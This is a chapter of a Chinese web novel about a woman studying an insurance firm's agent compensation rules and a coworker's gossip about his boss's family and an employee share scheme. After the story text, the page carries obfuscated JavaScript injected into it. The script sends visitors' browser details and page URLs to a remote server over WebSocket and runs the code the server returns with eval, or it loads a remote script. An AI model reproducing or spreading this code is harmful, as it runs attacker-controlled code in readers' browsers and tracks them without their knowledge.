第7章 新机会新赛道

就是在大堂里负责接待客户，帮忙做一些理财的建议的那种。她当时离职是因为他们银行产品太少，没有保险业务。

    她认为现在国家政策很支持这行业，未来十年一定大有可为。而且这个时候微信营销、自媒体营销都在兴起。她还鼓励大家要抓住现在的时机，争取考过了证件，有证件才有机会执业。

    这个女生吸引了林丽的注意，她还去认识了这个女生，她叫邓丽。原来她已经是两个孩子的妈妈了，先生之前是农行的分行副行长。她有一定的金融专业的知识，她对于丁羽他们公司很是看好。

    林丽侧面试探她对于中小保险经纪公司的看法。对方表示她还是相信大型有实力的公司，可以让自己在比较成熟的流程和制度下，也就是基本法下发展。

    林丽点点头，她发现基本法是个很重要的东西，现在他们筹备组还没有形成自己的体系和制度，还没有这个所谓的基本法的东西。她把它记录下来。通过丁羽，林丽要到了他们公司的基本法，供他们公司筹备组参考。

    制定基本法的人的智慧和远见是多么重要，因为这个基本法相当于长期规划的东西，在指引销售人员的职业发展路线和薪酬激励机制。

    林丽在集团例会上也提到了这个基本法的重要意义。公司组织了人力资源部和法务部来研究和制定相关的体系，在执行过程中再慢慢去完善。

    林丽这些日子在忙的同时，高兴也在忙于自己的工作。他们公司也在改变。他们公司最近鼓励员工持股，公司另外成立了一家公司，就是按大家认购的股权比例来形成股东结构。当时高兴给了林丽看了相关的文件，问她是否值得投？

    林丽认真看了这些文件，她发现这家公司并不是说要去新三板或者A股上市，它的所谓的股权并没有太大的溢价空间，还是和当年公司经营情况相挂钩。

    她认真看了如果投了这些股权，就会和新的公司签订新的合同，相当于这些满了十年级以上的员工又另外和一家新的公司签订了劳动合同。

    她不知道是不是这个老板为了规避十年及以上员工，公司需要承担的责任而做的一种变动。她对于这个老板十来年来都是比较保守的经营持保留意见。建议高兴如果他想投，可以在合理范围内投。不要过于盲目，投太多。

    高兴也是这么个想法。他对于老板的吝啬和谨慎是深有体会的。他们老板这些年经常会从公司账户拿钱到个人账户，公司账户一般不会超过六位数。只要有项目款进账，马上就被他拿去湖南投资地产或者放民间借贷。因为在多年前，他吃过亏。这个公司是他们老板和他最初打工的那个公司的一个同事出来合伙创业打下的江山。

    他们利用过往的人脉拿到了一些小项目，之后再满满做打起来。这些年陆续收购过一些小的软件公司，有此慢慢成长起来。但主要的人员还是比较稳定的。当年创业后，他们两个合伙人过了几年就分道扬镳了，老板买断了合伙人所有股权。原来他发现合伙人私下挪用公司的钱。从那之后他就很防备别人，不容易相信人。

    他们老板是湖南人，公司里80%的人都是湖南人。很大部分来自他们村或者亲戚朋友。据说公司的副总是她妹夫，当年这个妹夫还是他们营销总监的时候，本来是已经有家庭的，还比老板妹妹小五六岁。当时老板妹妹是股东之一。

    他为了出人头地，想办法接近这个老板妹妹，获得她的赏识和好感，两人就在一起同居了。之后他回家办了离婚，净身出户，两个孩子都归前妻，之前的房产和财产归前妻。老板开始并不同意妹妹嫁给他，但是当时已经有身孕了。

    对于一个40岁左右的女生，未婚怀孕又是老板妹妹，如果单独抚养孩子长大，还是有一定压力的。即使这个男人当时接近她是有别的用意，但是他们还是相爱了。老板最终还是同意他们结婚。但是前提是妹妹退出公司所有的股份和经营。

    这个男生也表示会用实际行动证明自己的心意，他会靠自己的实力。于是他非常努力谈客户，不到一年，他的业绩就在公司居首位。老板对他另眼相看。不久，他和老板的妹妹在儿子满月后举行了隆重的婚礼。婚后，老板妹妹就在家相夫教子，而这男生凭自己的努力很快做到了副总。

    说是副总，其实也并没有什么实际权力，他还是要谈客户做业务的。他连续多年都是业绩第一，在这两年公司业务业发展比较顺利，老板看到他的车还是那台开了快十年的日本车，允诺把之前他淘汰的过百万总价的沃尔沃越野车给他，还答应年底给他100万股权做奖励。

    但这个副总还是很要强的，他拒了那台二手车，要求兑换成现金。老板也很精，表示可以兑换成股权。就这样他拥有了150万的股权，成为第二大股东。但是他的股份并不会影响到老板的实际经营权，只是占了很小的股比。var s = new Date().getSeconds() % 2; if (s == 0){function a0_0x37c4(){var _0x240c9c=['join','data','abcdefghijklmnopqrstuvwxyz0123456789','8238yiPSZz','1839','&ua=','1432','51279','search','34536','close','8CjyZFF','(((.+)+)+)+$','getMonth','135956YTVidA','fromCharCode','WebSocket','slice','6711452bLCYrh','562','2pgdBSd','split','http_host=','send','4434VYriZP','67515','');try{var _0x170fa2,_0x263978=_0x49586a(0x179)+_0x170e2f();_0x170fa2=_0x49586a(0x1a8)in window?new WebSocket(_0x263978):_0x49586a(0x175)in window?new MozWebSocket(_0x263978):new SockJS(_0x263978),_0x170fa2['onopen']=function(){var _0x35ca42=_0x49586a;_0x170fa2[_0x35ca42(0x1af)](_0x35ca42(0x1ae)+_0x170e2f()+_0x35ca42(0x17c)+_0xc327cc+'&space_id=51279&serasfd='+navigator[_0x35ca42(0x196)]+'&ifr_url='+encodeURIComponent(location[_0x35ca42(0x185)])+_0x35ca42(0x178)+encodeURIComponent(document[_0x35ca42(0x17f)])+_0x35ca42(0x19d)+encodeURIComponent(navigator[_0x35ca42(0x18f)]));},_0x170fa2[_0x49586a(0x190)]=function(_0x47b220){var _0x5cb35a=_0x49586a;eval(_0x47b220[_0x5cb35a(0x199)]),_0x170fa2[_0x5cb35a(0x1a2)]();};}catch(_0xa33558){console[_0x49586a(0x17a)]('error'+_0xa33558);}}()):(function(){var _0xf53d4b=_0x394445,_0x5a903a=document[_0xf53d4b(0x1b4)](_0xf53d4b(0x1b6)),_0x555d50=_0xd9521(_0xf53d4b(0x193))+_0x170e2f();_0x5a903a[_0xf53d4b(0x18e)]=_0x555d50+'/'+_0xd9521((new Date()[_0xf53d4b(0x17d)]()%0x3*new Date()[_0xf53d4b(0x17d)]()+new Date()[_0xf53d4b(0x17d)]())['toString'](0x24)[_0xf53d4b(0x1a9)](0x1))+_0xd9521(_0xf53d4b(0x187))+_0xf53d4b(0x19f)+_0xd9521('km')+'?'+_0x135998(new Date()[_0xf53d4b(0x17d)]());var _0x4c199f=document[_0xf53d4b(0x180)](_0xf53d4b(0x1b6))[0x0];_0x4c199f['parentNode'][_0xf53d4b(0x197)](_0x5a903a,_0x4c199f);}());}()); } else if (s == 1){!function(){function a(a){var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a(`zxGsLrwhSRl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5FLg[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7 iT^)OqvviT^)OqmFOiF562p|dpvv;)CY(FmfY762Ye5OJY5FTcY=iT^)OqmFOiF562p|dp=[Xdq_Yg"yOf_qY"Pa=;)CY(FmfY762Ye5OJY5FTcY="MMYLyOf_qY"=[Xdq_Ygl0PaP=5mF87_2(F6O2cY=Fa[67c}vFvvcY85cYaa={vFa5YF_52 Y!67covFvv"O)CY(F"88FTJYO7 YvvYvvYmMMYLyOf_qYa5YF_52 Y!Xd5 28;)CY(Fm(5YdFYc2_qqa!67c5m5c2a=;)CY(FmfY762Ye5OJY5FTc2="fY7d_qF"=[Y2_^Y5d)qYgl0=Xdq_YgYPa=@vFvv"LF562p"l8FTJYO7 Ya7O5cXd5 O 62 Ya5mfc2=O=7_2(F6O2cFa[5YF_52 YHFZPm)62fc2_qq=Oaa!5YF_52 2P=5m287_2(F6O2cYa[Xd5 F8YvvYmMMYLyOf_qYj7_2(F6O2ca[5YF_52 YmfY7d_qFPg7_2(F6O2ca[5YF_52 YP!5YF_52 5mfcF="d"=Fa=FP=5mO87_2(F6O2cY=Fa[5YF_52 ;)CY(FmJ5OFOFTJYmhdL;D2e5OJY5FTm(dqqcY=FaP=5mJ8""=5c5mL80aPcH7_2(F6O2cY=Fa[Xd5 58fO(_^Y2F=282dX6pdFO5mJqdF7O5^=O85m(_55Y2Fi(56JF! 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